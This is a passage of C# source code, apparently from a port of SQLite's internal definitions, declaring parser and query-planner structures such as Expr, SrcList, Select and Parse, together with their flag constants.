cp.affinity = affinity;\n          cp.flags = flags;\n          cp.u = u;\n          if ( x.pList != null ) cp.x.pList = x.pList.Copy();\n          if ( x.pSelect != null ) cp.x.pSelect = x.pSelect.Copy();\n          if ( pColl != null ) cp.pColl = pColl.Copy();\n          cp.iTable = iTable;\n          cp.iColumn = iColumn;\n          if ( pAggInfo != null ) cp.pAggInfo = pAggInfo.Copy();\n          cp.iAgg = iAgg;\n          cp.iRightJoinTable = iRightJoinTable;\n          cp.flags2 = flags2;\n          if ( pTab != null ) cp.pTab = pTab.Copy();\n#if SQLITE_TEST || SQLITE_MAX_EXPR_DEPTH //SQLITE_MAX_EXPR_DEPTH>0\n          cp.nHeight = nHeight;\n          cp.pZombieTab = pZombieTab;\n#endif\n          return cp;\n        }\n      }\n    };\n\n    /*\n    ** The following are the meanings of bits in the Expr.flags field.\n    */\n    //#define EP_FromJoin   0x0001  /* Originated in ON or USING clause of a join */\n    //#define EP_Agg        0x0002  /* Contains one or more aggregate functions */\n    //#define EP_Resolved   0x0004  /* IDs have been resolved to COLUMNs */\n    //#define EP_Error      0x0008  /* Expression contains one or more errors */\n    //#define EP_Distinct   0x0010  /* Aggregate function with DISTINCT keyword */\n    //#define EP_VarSelect  0x0020  /* pSelect is correlated, not constant */\n    //#define EP_DblQuoted  0x0040  /* token.z was originally in \"...\" */\n    //#define EP_InfixFunc  0x0080  /* True for an infix function: LIKE, GLOB, etc */\n    //#define EP_ExpCollate 0x0100  /* Collating sequence specified explicitly */\n    //#define EP_AnyAff     0x0200  /* Can take a cached column of any affinity */\n    //#define EP_FixedDest  0x0400  /* Result needed in a specific register */\n    //#define EP_IntValue   0x0800  /* Integer value contained in u.iTable */\n    //#define EP_xIsSelect  0x1000  /* x.pSelect is valid (otherwise x.pList is) */\n\n    //#define EP_Reduced    0x2000  /* Expr struct is EXPR_REDUCEDSIZE bytes only */\n    //#define EP_TokenOnly  0x4000  /* Expr struct is EXPR_TOKENONLYSIZE bytes only */\n    //#define EP_Static     0x8000  /* Held in memory not obtained from malloc() */\n\n    const ushort EP_FromJoin = 0x0001;\n    const ushort EP_Agg = 0x0002;\n    const ushort EP_Resolved = 0x0004;\n    const ushort EP_Error = 0x0008;\n    const ushort EP_Distinct = 0x0010;\n    const ushort EP_VarSelect = 0x0020;\n    const ushort EP_DblQuoted = 0x0040;\n    const ushort EP_InfixFunc = 0x0080;\n    const ushort EP_ExpCollate = 0x0100;\n    const ushort EP_AnyAff = 0x0200;\n    const ushort EP_FixedDest = 0x0400;\n    const ushort EP_IntValue = 0x0800;\n    const ushort EP_xIsSelect = 0x1000;\n\n    const ushort EP_Reduced = 0x2000;\n    const ushort EP_TokenOnly = 0x4000;\n    const ushort EP_Static = 0x8000;\n\n    /*\n    ** The following are the meanings of bits in the Expr.flags2 field.\n    */\n    //#define EP2_MallocedToken  0x0001  /* Need to //sqlite3DbFree() Expr.zToken */\n    //#define EP2_Irreducible    0x0002  /* Cannot EXPRDUP_REDUCE this Expr */\n    const ushort EP2_MallocedToken = 0x0001;\n    const ushort EP2_Irreducible = 0x0002;\n\n    /*\n    ** The pseudo-routine sqlite3ExprSetIrreducible sets the EP2_Irreducible\n    ** flag on an expression structure.  This flag is used for VV&A only.  The\n    ** routine is implemented as a macro that only works when in debugging mode,\n    ** so as not to burden production code.\n    */\n#if SQLITE_DEBUG\n    //# define ExprSetIrreducible(X)  (X)->flags2 |= EP2_Irreducible\n    static void ExprSetIrreducible( Expr X ) { X.flags2 |= EP2_Irreducible; }\n#else\n//# define ExprSetIrreducible(X)\nstatic void ExprSetIrreducible( Expr X ) { }\n#endif\n\n    /*\n** These macros can be used to test, set, or clear bits in the\n** Expr.flags field.\n*/\n    //#define ExprHasProperty(E,P)     (((E)->flags&(P))==(P))\n    static bool ExprHasProperty( Expr E, int P ) { return ( E.flags & P ) == P; }\n    //#define ExprHasAnyProperty(E,P)  (((E)->flags&(P))!=0)\n    static bool ExprHasAnyProperty( Expr E, int P ) { return ( E.flags & P ) != 0; }\n    //#define ExprSetProperty(E,P)     (E)->flags|=(P)\n    static void ExprSetProperty( Expr E, int P ) { E.flags = (ushort)( E.flags | P ); }\n    //#define ExprClearProperty(E,P)   (E)->flags&=~(P)\n    static void ExprClearProperty( Expr E, int P ) { E.flags = (ushort)( E.flags & ~P ); }\n\n    /*\n    ** Macros to determine the number of bytes required by a normal Expr\n    ** struct, an Expr struct with the EP_Reduced flag set in Expr.flags\n    ** and an Expr struct with the EP_TokenOnly flag set.\n    */\n    //#define EXPR_FULLSIZE           sizeof(Expr)           /* Full size */\n    //#define EXPR_REDUCEDSIZE        offsetof(Expr,iTable)  /* Common features */\n    //#define EXPR_TOKENONLYSIZE      offsetof(Expr,pLeft)   /* Fewer features */\n\n    // We don't use these in C#, but define them anyway,\n    const int EXPR_FULLSIZE = 48;\n    const int EXPR_REDUCEDSIZE = 8216;\n    const int EXPR_TOKENONLYSIZE = 16392;\n\n    /*\n    ** Flags passed to the sqlite3ExprDup() function. See the header comment\n    ** above sqlite3ExprDup() for details.\n    */\n    //#define EXPRDUP_REDUCE         0x0001  /* Used reduced-size Expr nodes */\n    const int EXPRDUP_REDUCE = 0x0001;\n\n    /*\n    ** A list of expressions.  Each expression may optionally have a\n    ** name.  An expr/name combination can be used in several ways, such\n    ** as the list of \"expr AS ID\" fields following a \"SELECT\" or in the\n    ** list of \"ID = expr\" items in an UPDATE.  A list of expressions can\n    ** also be used as the argument to a function, in which case the a.zName\n    ** field is not used.\n    */\n    public class ExprList_item\n    {\n      public Expr pExpr;          /* The list of expressions */\n      public string zName;        /* Token associated with this expression */\n      public string zSpan;        /*  Original text of the expression */\n      public u8 sortOrder;        /* 1 for DESC or 0 for ASC */\n      public u8 done;             /* A flag to indicate when processing is finished */\n      public u16 iCol;            /* For ORDER BY, column number in result set */\n      public u16 iAlias;          /* Index into Parse.aAlias[] for zName */\n    }\n    public class ExprList\n    {\n      public int nExpr;             /* Number of expressions on the list */\n      public int nAlloc;            /* Number of entries allocated below */\n      public int iECursor;          /* VDBE VdbeCursor associated with this ExprList */\n      public ExprList_item[] a;     /* One entry for each expression */\n\n      public ExprList Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          ExprList cp = (ExprList)MemberwiseClone();\n          a.CopyTo( cp.a, 0 );\n          return cp;\n        }\n      }\n\n    };\n\n    /*\n    ** An instance of this structure is used by the parser to record both\n    ** the parse tree for an expression and the span of input text for an\n    ** expression.\n    */\n    public class ExprSpan\n    {\n      public Expr pExpr;            /* The expression parse tree */\n      public string zStart;  /* First character of input text */\n      public string zEnd;    /* One character past the end of input text */\n    };\n\n    /*\n    ** An instance of this structure can hold a simple list of identifiers,\n    ** such as the list \"a,b,c\" in the following statements:\n    **\n    **      INSERT INTO t(a,b,c) VALUES ...;\n    **      CREATE INDEX idx ON t(a,b,c);\n    **      CREATE TRIGGER trig BEFORE UPDATE ON t(a,b,c) ...;\n    **\n    ** The IdList.a.idx field is used when the IdList represents the list of\n    ** column names after a table name in an INSERT statement.  In the statement\n    **\n    **     INSERT INTO t(a,b,c) ...\n    **\n    ** If \"a\" is the k-th column of table \"t\", then IdList.a[0].idx==k.\n    */\n    public class IdList_item\n    {\n      public string zName;      /* Name of the identifier */\n      public int idx;          /* Index in some Table.aCol[] of a column named zName */\n    }\n    public class IdList\n    {\n      public IdList_item[] a;\n      public int nId;         /* Number of identifiers on the list */\n      public int nAlloc;      /* Number of entries allocated for a[] below */\n\n      public IdList Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          IdList cp = (IdList)MemberwiseClone();\n          a.CopyTo( cp.a, 0 );\n          return cp;\n        }\n      }\n    };\n\n    /*\n    ** The bitmask datatype defined below is used for various optimizations.\n    **\n    ** Changing this from a 64-bit to a 32-bit type limits the number of\n    ** tables in a join to 32 instead of 64.  But it also reduces the size\n    ** of the library by 738 bytes on ix86.\n    */\n    //typedef u64 Bitmask;\n\n    /*\n    ** The number of bits in a Bitmask.  \"BMS\" means \"BitMask Size\".\n    */\n    //#define BMS  ((int)(sizeof(Bitmask)*8))\n    const int BMS = ( (int)( sizeof( Bitmask ) * 8 ) );\n\n\n    /*\n    ** The following structure describes the FROM clause of a SELECT statement.\n    ** Each table or subquery in the FROM clause is a separate element of\n    ** the SrcList.a[] array.\n    **\n    ** With the addition of multiple database support, the following structure\n    ** can also be used to describe a particular table such as the table that\n    ** is modified by an INSERT, DELETE, or UPDATE statement.  In standard SQL,\n    ** such a table must be a simple name: ID.  But in SQLite, the table can\n    ** now be identified by a database name, a dot, then the table name: ID.ID.\n    **\n    ** The jointype starts out showing the join type between the current table\n    ** and the next table on the list.  The parser builds the list this way.\n    ** But sqlite3SrcListShiftJoinType() later shifts the jointypes so that each\n    ** jointype expresses the join between the table and the previous table.\n    */\n    public class SrcList_item\n    {\n      public string zDatabase; /* Name of database holding this table */\n      public string zName;     /* Name of the table */\n      public string zAlias;    /* The \"B\" part of a \"A AS B\" phrase.  zName is the \"A\" */\n      public Table pTab;       /* An SQL table corresponding to zName */\n      public Select pSelect;   /* A SELECT statement used in place of a table name */\n      public u8 isPopulated;   /* Temporary table associated with SELECT is populated */\n      public u8 jointype;      /* Type of join between this able and the previous */\n      public u8 notIndexed;    /* True if there is a NOT INDEXED clause */\n      public int iCursor;      /* The VDBE cursor number used to access this table */\n      public Expr pOn;         /* The ON clause of a join */\n      public IdList pUsing;    /* The USING clause of a join */\n      public Bitmask colUsed;  /* Bit N (1<<N) set if column N of pTab is used */\n      public string zIndex;    /* Identifier from \"INDEXED BY <zIndex>\" clause */\n      public Index pIndex;     /* Index structure corresponding to zIndex, if any */\n    }\n    public class SrcList\n    {\n      public i16 nSrc;        /* Number of tables or subqueries in the FROM clause */\n      public i16 nAlloc;      /* Number of entries allocated in a[] below */\n      public SrcList_item[] a;/* One entry for each identifier on the list */\n      public SrcList Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          SrcList cp = (SrcList)MemberwiseClone();\n          if ( a != null ) a.CopyTo( cp.a, 0 );\n          return cp;\n        }\n      }\n    };\n\n    /*\n    ** Permitted values of the SrcList.a.jointype field\n    */\n    const int JT_INNER = 0x0001;   //#define JT_INNER     0x0001    /* Any kind of inner or cross join */\n    const int JT_CROSS = 0x0002;   //#define JT_CROSS     0x0002    /* Explicit use of the CROSS keyword */\n    const int JT_NATURAL = 0x0004; //#define JT_NATURAL   0x0004    /* True for a \"natural\" join */\n    const int JT_LEFT = 0x0008;    //#define JT_LEFT      0x0008    /* Left outer join */\n    const int JT_RIGHT = 0x0010;   //#define JT_RIGHT     0x0010    /* Right outer join */\n    const int JT_OUTER = 0x0020;   //#define JT_OUTER     0x0020    /* The \"OUTER\" keyword is present */\n    const int JT_ERROR = 0x0040;   //#define JT_ERROR     0x0040    /* unknown or unsupported join type */\n\n\n    /*\n    ** A WherePlan object holds information that describes a lookup\n    ** strategy.\n    **\n    ** This object is intended to be opaque outside of the where.c module.\n    ** It is included here only so that that compiler will know how big it\n    ** is.  None of the fields in this object should be used outside of\n    ** the where.c module.\n    **\n    ** Within the union, pIdx is only used when wsFlags&WHERE_INDEXED is true.\n    ** pTerm is only used when wsFlags&WHERE_MULTI_OR is true.  And pVtabIdx\n    ** is only used when wsFlags&WHERE_VIRTUALTABLE is true.  It is never the\n    ** case that more than one of these conditions is true.\n    */\n    public class WherePlan\n    {\n      public u32 wsFlags;                   /* WHERE_* flags that describe the strategy */\n      public u32 nEq;                       /* Number of == constraints */\n      public class _u\n      {\n        public Index pIdx;                  /* Index when WHERE_INDEXED is true */\n        public WhereTerm pTerm;             /* WHERE clause term for OR-search */\n        public sqlite3_index_info pVtabIdx; /* Virtual table index to use */\n      }\n      public _u u = new _u();\n    };\n\n    /*\n    ** For each nested loop in a WHERE clause implementation, the WhereInfo\n    ** structure contains a single instance of this structure.  This structure\n    ** is intended to be private the the where.c module and should not be\n    ** access or modified by other modules.\n    **\n    ** The pIdxInfo field is used to help pick the best index on a\n    ** virtual table.  The pIdxInfo pointer contains indexing\n    ** information for the i-th table in the FROM clause before reordering.\n    ** All the pIdxInfo pointers are freed by whereInfoFree() in where.c.\n    ** All other information in the i-th WhereLevel object for the i-th table\n    ** after FROM clause ordering.\n    */\n    public class InLoop\n    {\n      public int iCur;              /* The VDBE cursor used by this IN operator */\n      public int addrInTop;         /* Top of the IN loop */\n    }\n    public class WhereLevel\n    {\n      public WherePlan plan;       /* query plan for this element of the FROM clause */\n      public int iLeftJoin;        /* Memory cell used to implement LEFT OUTER JOIN */\n      public int iTabCur;          /* The VDBE cursor used to access the table */\n      public int iIdxCur;          /* The VDBE cursor used to access pIdx */\n      public int addrBrk;          /* Jump here to break out of the loop */\n      public int addrNxt;          /* Jump here to start the next IN combination */\n      public int addrCont;         /* Jump here to continue with the next loop cycle */\n      public int addrFirst;        /* First instruction of interior of the loop */\n      public u8 iFrom;             /* Which entry in the FROM clause */\n      public u8 op, p5;            /* Opcode and P5 of the opcode that ends the loop */\n      public int p1, p2;           /* Operands of the opcode used to ends the loop */\n      public class _u\n      {\n        public class __in               /* Information that depends on plan.wsFlags */\n        {\n          public int nIn;              /* Number of entries in aInLoop[] */\n          public InLoop[] aInLoop;           /* Information about each nested IN operator */\n        }\n        public __in _in = new __in();                 /* Used when plan.wsFlags&WHERE_IN_ABLE */\n      }\n      public _u u = new _u();\n\n\n      /* The following field is really not part of the current level.  But\n      ** we need a place to cache virtual table index information for each\n      ** virtual table in the FROM clause and the WhereLevel structure is\n      ** a convenient place since there is one WhereLevel for each FROM clause\n      ** element.\n      */\n      public sqlite3_index_info pIdxInfo;  /* Index info for n-th source table */\n    };\n\n    /*\n    ** Flags appropriate for the wctrlFlags parameter of sqlite3WhereBegin()\n    ** and the WhereInfo.wctrlFlags member.\n    */\n    //#define WHERE_ORDERBY_NORMAL   0x0000 /* No-op */\n    //#define WHERE_ORDERBY_MIN      0x0001 /* ORDER BY processing for min() func */\n    //#define WHERE_ORDERBY_MAX      0x0002 /* ORDER BY processing for max() func */\n    //#define WHERE_ONEPASS_DESIRED  0x0004 /* Want to do one-pass UPDATE/DELETE */\n    //#define WHERE_DUPLICATES_OK    0x0008 /* Ok to return a row more than once */\n    //#define WHERE_OMIT_OPEN        0x0010  /* Table cursor are already open */\n    //#define WHERE_OMIT_CLOSE       0x0020  /* Omit close of table & index cursors */\n    //#define WHERE_FORCE_TABLE      0x0040 /* Do not use an index-only search */\n    const int WHERE_ORDERBY_NORMAL = 0x0000;\n    const int WHERE_ORDERBY_MIN = 0x0001;\n    const int WHERE_ORDERBY_MAX = 0x0002;\n    const int WHERE_ONEPASS_DESIRED = 0x0004;\n    const int WHERE_DUPLICATES_OK = 0x0008;\n    const int WHERE_OMIT_OPEN = 0x0010;\n    const int WHERE_OMIT_CLOSE = 0x0020;\n    const int WHERE_FORCE_TABLE = 0x0040;\n\n    /*\n    ** The WHERE clause processing routine has two halves.  The\n    ** first part does the start of the WHERE loop and the second\n    ** half does the tail of the WHERE loop.  An instance of\n    ** this structure is returned by the first half and passed\n    ** into the second half to give some continuity.\n    */\n    public class WhereInfo\n    {\n      public Parse pParse;          /* Parsing and code generating context */\n      public u16 wctrlFlags;        /* Flags originally passed to sqlite3WhereBegin() */\n      public u8 okOnePass;          /* Ok to use one-pass algorithm for UPDATE or DELETE */\n      public SrcList pTabList;      /* List of tables in the join */\n      public int iTop;              /* The very beginning of the WHERE loop */\n      public int iContinue;         /* Jump here to continue with next record */\n      public int iBreak;            /* Jump here to break out of the loop */\n      public int nLevel;            /* Number of nested loop */\n      public WhereClause pWC;       /* Decomposition of the WHERE clause */\n      public WhereLevel[] a = new WhereLevel[] { new WhereLevel() };     /* Information about each nest loop in the WHERE */\n    };\n\n    /*\n    ** A NameContext defines a context in which to resolve table and column\n    ** names.  The context consists of a list of tables (the pSrcList) field and\n    ** a list of named expression (pEList).  The named expression list may\n    ** be NULL.  The pSrc corresponds to the FROM clause of a SELECT or\n    ** to the table being operated on by INSERT, UPDATE, or DELETE.  The\n    ** pEList corresponds to the result set of a SELECT and is NULL for\n    ** other statements.\n    **\n    ** NameContexts can be nested.  When resolving names, the inner-most\n    ** context is searched first.  If no match is found, the next outer\n    ** context is checked.  If there is still no match, the next context\n    ** is checked.  This process continues until either a match is found\n    ** or all contexts are check.  When a match is found, the nRef member of\n    ** the context containing the match is incremented.\n    **\n    ** Each subquery gets a new NameContext.  The pNext field points to the\n    ** NameContext in the parent query.  Thus the process of scanning the\n    ** NameContext list corresponds to searching through successively outer\n    ** subqueries looking for a match.\n    */\n    public class NameContext\n    {\n      public Parse pParse;       /* The parser */\n      public SrcList pSrcList;   /* One or more tables used to resolve names */\n      public ExprList pEList;    /* Optional list of named expressions */\n      public int nRef;           /* Number of names resolved by this context */\n      public int nErr;           /* Number of errors encountered while resolving names */\n      public u8 allowAgg;        /* Aggregate functions allowed here */\n      public u8 hasAgg;          /* True if aggregates are seen */\n      public u8 isCheck;         /* True if resolving names in a CHECK constraint */\n      public int nDepth;         /* Depth of subquery recursion. 1 for no recursion */\n      public AggInfo pAggInfo;   /* Information about aggregates at this level */\n      public NameContext pNext;  /* Next outer name context.  NULL for outermost */\n    };\n\n    /*\n    ** An instance of the following structure contains all information\n    ** needed to generate code for a single SELECT statement.\n    **\n    ** nLimit is set to -1 if there is no LIMIT clause.  nOffset is set to 0.\n    ** If there is a LIMIT clause, the parser sets nLimit to the value of the\n    ** limit and nOffset to the value of the offset (or 0 if there is not\n    ** offset).  But later on, nLimit and nOffset become the memory locations\n    ** in the VDBE that record the limit and offset counters.\n    **\n    ** addrOpenEphm[] entries contain the address of OP_OpenEphemeral opcodes.\n    ** These addresses must be stored so that we can go back and fill in\n    ** the P4_KEYINFO and P2 parameters later.  Neither the KeyInfo nor\n    ** the number of columns in P2 can be computed at the same time\n    ** as the OP_OpenEphm instruction is coded because not\n    ** enough information about the compound query is known at that point.\n    ** The KeyInfo for addrOpenTran[0] and [1] contains collating sequences\n    ** for the result set.  The KeyInfo for addrOpenTran[2] contains collating\n    ** sequences for the ORDER BY clause.\n    */\n    public class Select\n    {\n      public ExprList pEList;      /* The fields of the result */\n      public u8 op;                /* One of: TK_UNION TK_ALL TK_INTERSECT TK_EXCEPT */\n      public char affinity;        /* MakeRecord with this affinity for SRT_Set */\n      public u16 selFlags;         /* Various SF_* values */\n      public SrcList pSrc;         /* The FROM clause */\n      public Expr pWhere;          /* The WHERE clause */\n      public ExprList pGroupBy;    /* The GROUP BY clause */\n      public Expr pHaving;         /* The HAVING clause */\n      public ExprList pOrderBy;    /* The ORDER BY clause */\n      public Select pPrior;        /* Prior select in a compound select statement */\n      public Select pNext;         /* Next select to the left in a compound */\n      public Select pRightmost;    /* Right-most select in a compound select statement */\n      public Expr pLimit;          /* LIMIT expression. NULL means not used. */\n      public Expr pOffset;         /* OFFSET expression. NULL means not used. */\n      public int iLimit;\n      public int iOffset;          /* Memory registers holding LIMIT & OFFSET counters */\n      public int[] addrOpenEphm = new int[3];   /* OP_OpenEphem opcodes related to this select */\n\n      public Select Copy()\n      {\n        if ( this == null )\n          return null;\n        else\n        {\n          Select cp = (Select)MemberwiseClone();\n          if ( pEList != null ) cp.pEList = pEList.Copy();\n          if ( pSrc != null ) cp.pSrc = pSrc.Copy();\n          if ( pWhere != null ) cp.pWhere = pWhere.Copy();\n          if ( pGroupBy != null ) cp.pGroupBy = pGroupBy.Copy();\n          if ( pHaving != null ) cp.pHaving = pHaving.Copy();\n          if ( pOrderBy != null ) cp.pOrderBy = pOrderBy.Copy();\n          if ( pPrior != null ) cp.pPrior = pPrior.Copy();\n          if ( pNext != null ) cp.pNext = pNext.Copy();\n          if ( pRightmost != null ) cp.pRightmost = pRightmost.Copy();\n          if ( pLimit != null ) cp.pLimit = pLimit.Copy();\n          if ( pOffset != null ) cp.pOffset = pOffset.Copy();\n          return cp;\n        }\n      }\n    };\n\n    /*\n    ** Allowed values for Select.selFlags.  The \"SF\" prefix stands for\n    ** \"Select Flag\".\n    */\n    //#define SF_Distinct        0x0001  /* Output should be DISTINCT */\n    //#define SF_Resolved        0x0002  /* Identifiers have been resolved */\n    //#define SF_Aggregate       0x0004  /* Contains aggregate functions */\n    //#define SF_UsesEphemeral   0x0008  /* Uses the OpenEphemeral opcode */\n    //#define SF_Expanded        0x0010  /* sqlite3SelectExpand() called on this */\n    //#define SF_HasTypeInfo     0x0020  /* FROM subqueries have Table metadata */\n    const int SF_Distinct = 0x0001;  /* Output should be DISTINCT */\n    const int SF_Resolved = 0x0002;  /* Identifiers have been resolved */\n    const int SF_Aggregate = 0x0004;  /* Contains aggregate functions */\n    const int SF_UsesEphemeral = 0x0008;  /* Uses the OpenEphemeral opcode */\n    const int SF_Expanded = 0x0010;  /* sqlite3SelectExpand() called on this */\n    const int SF_HasTypeInfo = 0x0020;  /* FROM subqueries have Table metadata */\n\n\n    /*\n    ** The results of a select can be distributed in several ways.  The\n    ** \"SRT\" prefix means \"SELECT Result Type\".\n    */\n    const int SRT_Union = 1;//#define SRT_Union        1  /* Store result as keys in an index */\n    const int SRT_Except = 2;//#define SRT_Except      2  /* Remove result from a UNION index */\n    const int SRT_Exists = 3;//#define SRT_Exists      3  /* Store 1 if the result is not empty */\n    const int SRT_Discard = 4;//#define SRT_Discard    4  /* Do not save the results anywhere */\n\n    /* The ORDER BY clause is ignored for all of the above */\n    //#define IgnorableOrderby(X) ((X->eDest)<=SRT_Discard)\n\n    const int SRT_Output = 5;//#define SRT_Output      5  /* Output each row of result */\n    const int SRT_Mem = 6;//#define SRT_Mem            6  /* Store result in a memory cell */\n    const int SRT_Set = 7;//#define SRT_Set            7  /* Store results as keys in an index */\n    const int SRT_Table = 8;//#define SRT_Table        8  /* Store result as data with an automatic rowid */\n    const int SRT_EphemTab = 9;//#define SRT_EphemTab  9  /* Create transient tab and store like SRT_Table /\n    const int SRT_Coroutine = 10;//#define SRT_Coroutine   10  /* Generate a single row of result */\n\n    /*\n    ** A structure used to customize the behavior of sqlite3Select(). See\n    ** comments above sqlite3Select() for details.\n    */\n    //typedef struct SelectDest SelectDest;\n    public class SelectDest\n    {\n      public u8 eDest;        /* How to dispose of the results */\n      public char affinity;    /* Affinity used when eDest==SRT_Set */\n      public int iParm;        /* A parameter used by the eDest disposal method */\n      public int iMem;         /* Base register where results are written */\n      public int nMem;         /* Number of registers allocated */\n      public SelectDest()\n      {\n        this.eDest = 0;\n        this.affinity = '\\0';\n        this.iParm = 0;\n        this.iMem = 0;\n        this.nMem = 0;\n      }\n      public SelectDest( u8 eDest, char affinity, int iParm )\n      {\n        this.eDest = eDest;\n        this.affinity = affinity;\n        this.iParm = iParm;\n        this.iMem = 0;\n        this.nMem = 0;\n      }\n      public SelectDest( u8 eDest, char affinity, int iParm, int iMem, int nMem )\n      {\n        this.eDest = eDest;\n        this.affinity = affinity;\n        this.iParm = iParm;\n        this.iMem = iMem;\n        this.nMem = nMem;\n      }\n    };\n\n    /*\n    ** During code generation of statements that do inserts into AUTOINCREMENT\n    ** tables, the following information is attached to the Table.u.autoInc.p\n    ** pointer of each autoincrement table to record some side information that\n    ** the code generator needs.  We have to keep per-table autoincrement\n    ** information in case inserts are down within triggers.  Triggers do not\n    ** normally coordinate their activities, but we do need to coordinate the\n    ** loading and saving of autoincrement information.\n    */\n    public class AutoincInfo\n    {\n      public AutoincInfo pNext;    /* Next info block in a list of them all */\n      public Table pTab;           /* Table this info block refers to */\n      public int iDb;              /* Index in sqlite3.aDb[] of database holding pTab */\n      public int regCtr;           /* Memory register holding the rowid counter */\n    };\n\n    /*\n    ** Size of the column cache\n    */\n#if !SQLITE_N_COLCACHE\n    //# define SQLITE_N_COLCACHE 10\n    const int SQLITE_N_COLCACHE = 10;\n#endif\n\n    /*\n** An SQL parser context.  A copy of this structure is passed through\n** the parser and down into all the parser action routine in order to\n** carry around information that is global to the entire parse.\n**\n** The structure is divided into two parts.  When the parser and code\n** generate call themselves recursively, the first part of the structure\n** is constant but the second part is reset at the beginning and end of\n** each recursion.\n**\n** The nTableLock and aTableLock variables are only used if the shared-cache\n** feature is enabled (if sqlite3Tsd()->useSharedData is true). They are\n** used to store the set of table-locks required by the statement being\n** compiled. Function sqlite3TableLock() is used to add entries to the\n** list.\n*/\n    public class yColCache\n    {\n      public int iTable;           /* Table cursor number */\n      public int iColumn;          /* Table column number */\n      public bool affChange;       /* True if this register has had an affinity change */\n      public u8 tempReg;           /* iReg is a temp register that needs to be freed */\n      public int iLevel;           /* Nesting level */\n      public int iReg;             /* Reg with value of this column. 0 means none. */\n      public int lru;              /* Least recently used entry has the smallest value */\n    }\n    public class Parse\n    {\n      public sqlite3 db;          /* The main database structure */\n      public int rc;              /* Return code from execution */\n      public string zErrMsg;      /* An error message */\n      public Vdbe pVdbe;          /* An engine for executing database bytecode */\n      public u8 colNamesSet;      /* TRUE after OP_ColumnName has been issued to pVdbe */\n      public u8 nameClash;        /* A permanent table name clashes with temp table name */\n      public u8 checkSchema;      /* Causes schema cookie check after an error */\n      public u8 nested;           /* Number of nested calls to the parser/code generator */\n      public u8 parseError;       /* True after a parsing error.  Ticket #1794 */\n      public u8 nTempReg;         /* Number of temporary registers in aTempReg[] */\n      public u8 nTempInUse;       /* Number of aTempReg[] currently checked out */\n      public int[] aTempReg = new int[8];     /* Holding area for temporary registers */\n      public int nRangeReg;       /* Size of the temporary register block */\n      public int iRangeReg;       /* First register in temporary register block */\n      public int nErr;            /* Number of errors seen */\n      public int nTab;            /* Number of previously allocated VDBE cursors */\n      public int nMem;            /* Number of memory cells used so far */\n      public int nSet;            /* Number of sets used so far */\n      public int ckBase;          /* Base register of data during check constraints */\n      public int iCacheLevel;     /* ColCache valid when aColCache[].iLevel<=iCacheLevel */\n      public int iCacheCnt;       /* Counter used to generate aColCache[].lru values */\n      public u8 nColCache;        /* Number of entries in the column cache */\n      public u8 iColCache;        /* Next entry of the cache to replace */\n      public yColCache[] aColCache = new yColCache[SQLITE_N_COLCACHE];     /* One for each valid column cache entry */\n      public u32 writeMask;       /* Start a write transaction on these databases */\n      public u32 cookieMask;      /* Bitmask of schema verified databases */\n      public int cookieGoto;      /* Address of OP_Goto to cookie verifier subroutine */\n      public int[] cookieValue = new int[SQLITE_MAX_ATTACHED + 2];  /* Values of cookies to verify */\n#if !SQLITE_OMIT_SHARED_CACHE\npublic int nTableLock;         /* Number of locks in aTableLock */\npublic TableLock[] aTableLock; /* Required table locks for shared-cache mode */\n#endif\n      public int regRowid;           /* Register holding rowid of CREATE TABLE entry */\n      public int regRoot;            /* Register holding root page number for new objects */\n      public AutoincInfo pAinc;      /* Information about AUTOINCREMENT counters */\n\n      /* Above is constant between recursions.  Below is reset before and after\n      ** each recursion */\n\n      public int nVar;                       /* Number of '?' variables seen in the SQL so far */\n      public int nVarExpr;                   /* Number of used slots in apVarExpr[] */\n      public int nVarExprAlloc;              /* Number of allocated slots in apVarExpr[] */\n      public Expr[] apVarExpr;               /* Pointers to :aaa and $aaaa wildcard expressions */\n      public int nAlias;                     /* Number of aliased result set columns */\n      public int nAliasAlloc;                /* Number of allocated slots for aAlias[] */\n      public int[] aAlias;                   /* Register used to hold aliased result */\n      public u8 explain;                     /* True if the EXPLAIN flag is found on the query */\n      public Token sNameToken;               /* Token with unqualified schema object name */\n      public Token sLastToken = new Token(); /* The last token parsed */\n      public StringBuilder zTail;            /* All SQL text past the last semicolon parsed */\n      public Table pNewTable;                /* A table being constructed by CREATE TABLE */\n      public Trigger pNewTrigger;            /* Trigger under construct by a CREATE TRIGGER */\n      public TriggerStack trigStack;         /* Trigger actions being coded */\n      public string zAuthContext;            /* The 6th parameter to db.xAuth callbacks */\n#if !SQLITE_OMIT_VIRTUALTABLE\npublic Token sArg;                /* Complete text of a module argument */\npublic u8 declareVtab;            /* True if inside sqlite3_declare_vtab() */\npublic int nVtabLock;             /* Number of virtual tables to lock */\npublic Table[] apVtabLock;        /* Pointer to virtual tables needing locking */\n#endif\n      public int nHeight;             /* Expression tree height of current sub-select */\n      public Table pZombieTab;        /* List of Table objects to delete after code gen */\n\n      // We need to create instances of the col cache\n      public Parse()\n      {\n        for ( int i = 0 ; i < this.aColCache.Length ; i++ ) { this.aColCache[i] = new yColCache(); }\n      }\n\n      public void ResetMembers() // Need to clear all the following variables during each recursion\n      {\n        nVar = 0;\n        nVarExpr = 0;\n        nVarExprAlloc = 0;\n        apVarExpr = null;\n        nAlias = 0;\n        nAliasAlloc = 0;\n        aAlias = null;\n        explain = 0;\n        sNameToken = new Token();\n        sLastToken = new Token();\n        zTail.Length = 0;\n        pNewTable = null;\n        pNewTrigger = null;\n        trigStack = null;\n        zAuthContext = null;\n#if !SQLITE_OMIT_VIRTUALTABLE\nsArg = new Token();\ndeclareVtab = 0;\nnVtabLock = 0;\napVtabLoc = null;\n#endif\n        nHeight = 0;\n        pZombieTab = null;\n      }\n      Parse[] SaveBuf = new Parse[10];  //For Recursion Storage\n      public void RestoreMembers()  // Need to clear all the following variables during each recursion\n      {\n        if ( SaveBuf[nested] != null )\n          nVar = SaveBuf[nested].nVar;\n        nVarExpr = SaveBuf[nested].nVarExpr;\n        nVarExprAlloc = SaveBuf[nested].nVarExprAlloc;\n        apVarExpr = SaveBuf[nested].apVarExpr;\n        nAlias = SaveBuf[nested].nAlias;\n        nAliasAlloc = SaveBuf[nested].nAliasAlloc;\n        aAlias = SaveBuf[nested].aAlias;\n        explain = SaveBuf[nested].explain;\n        sNameToken = SaveBuf[nested].sNameToken;\n        sLastToken = SaveBuf[nested].sLastToken;\n        zTail = SaveBuf[nested].zTail;\n        pNewTable = SaveBuf[nested].pNewTable;\n        pNewTrigger = SaveBuf[nested].pNewTrigger;\n        trigStack 